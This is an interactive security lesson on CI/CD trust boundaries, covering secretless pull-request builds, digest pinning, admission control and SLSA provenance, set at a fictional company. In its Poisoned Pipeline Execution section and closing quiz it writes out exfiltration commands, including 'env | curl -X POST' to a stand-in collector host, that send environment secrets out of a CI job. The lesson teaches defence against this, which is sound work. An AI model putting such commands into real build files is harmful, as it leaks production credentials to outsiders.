✳ Field lesson A3 / 9 min

CI/CD trust boundaries: writing code vs promoting to production

In a secure software supply chain, write access to a source branch must never grant direct execution of production credentials. CI/CD pipelines enforce separation of duties by running untrusted pull-request builds in isolated, secretless sandboxes and gating production promotion on peer review, immutable artifact digests, and cryptographic provenance (SLSA).

appsecci-cdseparation-of-dutiesssdfCISSP D8CCSP D4CISA D3

THE RELEASE FOUNDRY / AN EXPLORABLE SYSTEM

ONE ARTIFACT

A change becomes a build. A build earns permission to run.
Follow the object. Inspect its identity. Find the broken boundary.

Keep production credentials out of PR tests. Promote artifact A by digest and verify production.

One source change crosses six stations.

Source → PR tests → Protected build → Registry → Admission → Runtime

The controls and complete text journeys below explain the same system when the spatial view is unavailable.

STEP 01 / 12

One change. Two kinds of authority.

Follow source commit C7. A right to write code is separate from a right to deploy it.

  1. 01Source
  2. 02PR tests
  3. 03Build
  4. 04Registry
  5. 05Gate
  6. 06Runtime

Playback is optional. Pause, step, or scrub to inspect any instant.

WHAT IS KNOWN HERE?

Take another seat.

Approved digest
Protected build pending
Requested digest
Selection pending
Admission
pending
Fresh readback
Verification pending

THE QUESTION

Is the artifact running in production the one that was approved?

This model separates source review, artifact identity, admission, and fresh readback. An artifact match does not establish service health or prove the code is safe.

A bounded simulation. All commits, digests, signatures, roles, and workloads are synthetic; digest labels are abbreviated. No code from the modeled builds executes and no credentials or infrastructure are accessed. This depicts one protected release policy and one workload, not a whole fleet rollout. Artifact A has the trusted provenance in this example; B does not. Time and distance are illustrative.

Read every journey without animation

Protect the release

Keep production credentials out of PR tests. Promote artifact A by digest and verify production.

  1. One change. Two kinds of authority.. Follow source commit C7. A right to write code is separate from a right to deploy it.
  2. Send unreviewed code to PR tests. The PR runner executes branch-controlled build and test instructions before independent review. This is already code execution.
  3. Review the exact source. An independent reviewer approves commit C7. Passing tests alone did not authorize a production release.
  4. Start a fresh protected build. The protected builder checks out reviewed commit C7. It does not promote the untrusted PR runner’s output.
  5. Create artifact A and its provenance. The trusted builder produces artifact A. Its signed provenance names the artifact digest, source commit, and builder identity.
  6. Store the same artifact. Artifact A travels to the registry. The builder already knows its digest; the registry records it only after receipt.
  7. Select immutable artifact A. The release request pins the digest of artifact A. Moving a registry tag would not change this digest reference.
  8. Check the selected artifact at admission. This example’s policy checks the signature and trusted builder, source commit, and provenance subject against approved artifact A. A valid signature alone would not establish every policy condition.
  9. Request production deployment. The production controller has accepted the request. Its acknowledgment does not establish which digest is running.
  10. The workload starts. The runtime starts the selected artifact. A separate observer must still read back its digest and compare it with the approved release.
  11. Read production state back. A fresh runtime observation returns the running digest. Compare that observation with approved artifact A, not just with a mutable tag or a successful API response.
  12. Approved artifact verified in production. In this bounded model, the running digest matches approved artifact A. That establishes artifact identity, not application correctness or service health.

Share a production role with PR tests

Change one boundary: give unreviewed test code a production role. The workflow can access that authority before review.

  1. One change. Two kinds of authority.. Follow source commit C7. A right to write code is separate from a right to deploy it.
  2. Send unreviewed code to PR tests. The PR runner executes branch-controlled build and test instructions before independent review. This is already code execution.
  3. Production authority crossed the boundary. The unreviewed job can access the production role mounted in its environment. No merge or release approval was needed. Remove that role from PR jobs.

Move a tag; keep the admission check

A registry writer moves :release from artifact A to B. A policy checking approved provenance refuses B.

  1. One change. Two kinds of authority.. Follow source commit C7. A right to write code is separate from a right to deploy it.
  2. Send unreviewed code to PR tests. The PR runner executes branch-controlled build and test instructions before independent review. This is already code execution.
  3. Review the exact source. An independent reviewer approves commit C7. Passing tests alone did not authorize a production release.
  4. Start a fresh protected build. The protected builder checks out reviewed commit C7. It does not promote the untrusted PR runner’s output.
  5. Create artifact A and its provenance. The trusted builder produces artifact A. Its signed provenance names the artifact digest, source commit, and builder identity.
  6. Store the same artifact. Artifact A travels to the registry. The builder already knows its digest; the registry records it only after receipt.
  7. Resolve the mutable release tag. A separate registry writer changes :release from A to B. The name stays the same while the referenced bytes change. B has no matching approved provenance in this example.
  8. Check the selected artifact at admission. The selected digest is B, but the trusted provenance and approval identify A. Admission refuses this request before a production workload starts.
  9. Production remains unchanged. Artifact B did not reach production. Repair the reference by selecting approved artifact A, then replay with the admission check enabled.

Move a tag; bypass the admission check

Compare with the preceding experiment: the moved tag is unchanged, but the independent admission check is disabled.

  1. One change. Two kinds of authority.. Follow source commit C7. A right to write code is separate from a right to deploy it.
  2. Send unreviewed code to PR tests. The PR runner executes branch-controlled build and test instructions before independent review. This is already code execution.
  3. Review the exact source. An independent reviewer approves commit C7. Passing tests alone did not authorize a production release.
  4. Start a fresh protected build. The protected builder checks out reviewed commit C7. It does not promote the untrusted PR runner’s output.
  5. Create artifact A and its provenance. The trusted builder produces artifact A. Its signed provenance names the artifact digest, source commit, and builder identity.
  6. Store the same artifact. Artifact A travels to the registry. The builder already knows its digest; the registry records it only after receipt.
  7. Resolve the mutable release tag. A separate registry writer changes :release from A to B. The name stays the same while the referenced bytes change. B has no matching approved provenance in this example.
  8. Bypass the admission check. The deployment accepts the mutable reference without checking it against the approved artifact. The successful source review still holds; this later boundary failed.
  9. Request production deployment. The production controller has accepted the request. Its acknowledgment does not establish which digest is running.
  10. The workload starts. The runtime starts the selected artifact. A separate observer must still read back its digest and compare it with the approved release.
  11. Read production state back. A fresh runtime observation returns the running digest. Compare that observation with approved artifact A, not just with a mutable tag or a successful API response.
  12. Readback exposes a different artifact. The observed digest differs from approved artifact A. A successful API acknowledgment did not prove the intended release was running. Repair and verify again.

Acknowledge deployment; keep an old workload

The requested artifact is approved, but this modeled rollout leaves an old, different workload running. Readback must detect it.

  1. One change. Two kinds of authority.. Follow source commit C7. A right to write code is separate from a right to deploy it.
  2. Send unreviewed code to PR tests. The PR runner executes branch-controlled build and test instructions before independent review. This is already code execution.
  3. Review the exact source. An independent reviewer approves commit C7. Passing tests alone did not authorize a production release.
  4. Start a fresh protected build. The protected builder checks out reviewed commit C7. It does not promote the untrusted PR runner’s output.
  5. Create artifact A and its provenance. The trusted builder produces artifact A. Its signed provenance names the artifact digest, source commit, and builder identity.
  6. Store the same artifact. Artifact A travels to the registry. The builder already knows its digest; the registry records it only after receipt.
  7. Select immutable artifact A. The release request pins the digest of artifact A. Moving a registry tag would not change this digest reference.
  8. Check the selected artifact at admission. This example’s policy checks the signature and trusted builder, source commit, and provenance subject against approved artifact A. A valid signature alone would not establish every policy condition.
  9. Request production deployment. The production controller has accepted the request. Its acknowledgment does not establish which digest is running.
  10. The rollout did not replace the old workload. This simulated rollout leaves a different old workload running. The controller acknowledgment still exists; the observed workload must be checked separately.
  11. Read production state back. A fresh runtime observation returns the running digest. Compare that observation with approved artifact A, not just with a mutable tag or a successful API response.
  12. Readback exposes a different artifact. The observed digest differs from approved artifact A. A successful API acknowledgment did not prove the intended release was running. Repair and verify again.

Helpful first: Direct and transitive dependencies: inherited code in your runtime · Least privilege, defense in depth, and Zero Trust boundaries

Key points

  • Separate the trust level of unreviewed pull-request execution from protected branch release promotion
  • Prevent CI/CD pipeline poisoning (PPE) by isolating build credentials from untrusted workflow definitions
  • Verify artifact provenance and digest immutability between the build runner and the production cluster

Why a pull request is untrusted code execution

Think about what happens when an engineer opens a pull request and the CI server automatically runs npm test. The CI runner checks out the branch and executes whatever code, build scripts, or test files the author put in that commit. If that CI job also has Meridian’s production AWS deployment role or signing key mounted in its environment variables, any developer with branch-push access can trivially print or exfiltrate production secrets inside a unit test without waiting for code review.

If a CI job has production secrets, any developer with branch-push access can print them. Production deployment credentials exist only inside a protected release environment. That environment triggers after required human reviews pass on the locked main branch.

At Meridian Space & Robotics (chronos.orbital), Staff Infrastructure Engineer Kael Cho enforces a strict boundary between Write / Test and Approve / Promote. Pull-request workflows run on ephemeral, single-use VMs with zero access to production secrets or signing keys. Production deployment credentials exist only inside a protected release environment that triggers after required human reviews pass on the locked main branch.

Separating CI/CD pipeline stages across trust boundaries
Pipeline StageWho Can Trigger It?Input Trust LevelPermitted Credentials & Capabilities
1. PR Verification (ci-test)Any developer opening or updating a feature branchUntrusted (unreviewed code and test scripts)Read-only code checkout, ephemeral test container, zero production secrets or registry write keys
2. Artifact Build & Sign (release-build)Merge to protected main after mandatory independent peer reviewReviewed source commit SHAEphemeral OIDC token to push immutable image digest (sha256:...) and sign SLSA provenance attestation
3. Production Promotion (prod-deploy)Automated promotion gate + environment approval policyVerified, signed artifact digestScoped deployment credential; Kubernetes admission controller verifies signature and provenance before starting pods

Poisoned Pipeline Execution (PPE) and mutable tags

When pipeline configuration files (such as .github/workflows/build.yml or .gitlab-ci.yml) live inside the same repository as application code, an attacker who compromises a developer workstation will immediately edit the workflow YAML on a branch to curl $PROD_DEPLOY_TOKEN to an external server. This attack is known as Poisoned Pipeline Execution (PPE).

A mutable container tag breaks the chain of custody between what was reviewed and what runs.

Similarly, deploying by mutable container tag (such as chronos/telemetry-api:latest or :prod) breaks the chain of custody between what was reviewed and what runs. An attacker with registry write access can overwrite :latest with an unreviewed image without touching Git. Production manifests must pin the exact cryptographic image digest (chronos/telemetry-api@sha256:9f86d08...). Before pods start, a Kubernetes admission controller verifies the Cosign image signature and SLSA provenance attestation for that digest. The signed provenance shows that Meridian’s trusted CI workflow built the image from a commit on the locked main branch.

SLSA provenance attestation

In Poisoned Pipeline Execution (PPE), an attacker edits the workflow YAML on a branch. In this pipeline, the signed provenance for chronos/telemetry-api@sha256:9f86d08... shows that Meridian’s trusted CI workflow built the image from a commit on main.

Separation of duties from commit to cluster

Notice how this pipeline architecture implements classic CISSP Separation of Duties and Dual Control in modern DevSecOps. No single individual - neither the developer who writes the code nor the platform engineer who maintains the runner - can unilaterally inject unreviewed code into production. The author writes the change, an independent peer reviews and approves the diff, an isolated builder compiles and signs the immutable digest, and the runtime admission controller refuses any image lacking both attestations.

Separation of duties from commit to cluster

With Separation of Duties and Dual Control, no single individual can unilaterally inject unreviewed code into production.

CHECK YOUR JUDGMENT

During an internal red-team exercise at Meridian Space & Robotics (chronos.orbital), Threat Hunter Nyx opens an unreviewed draft pull request that modifies Makefile to run env | curl -X POST https://collector.example.test -d @- during the automated unit-test job. To Nyx’s surprise, the output contains a live AWS_SECRET_ACCESS_KEY with permission to overwrite production container images. What architectural flaw allowed this, and how should Kael Cho fix it?

NEXT FIELD LESSON

SBOM evidence and priority: binding inventory to the running build

↗

Find your next idea.

Tip: press / to open search. Escape closes this window.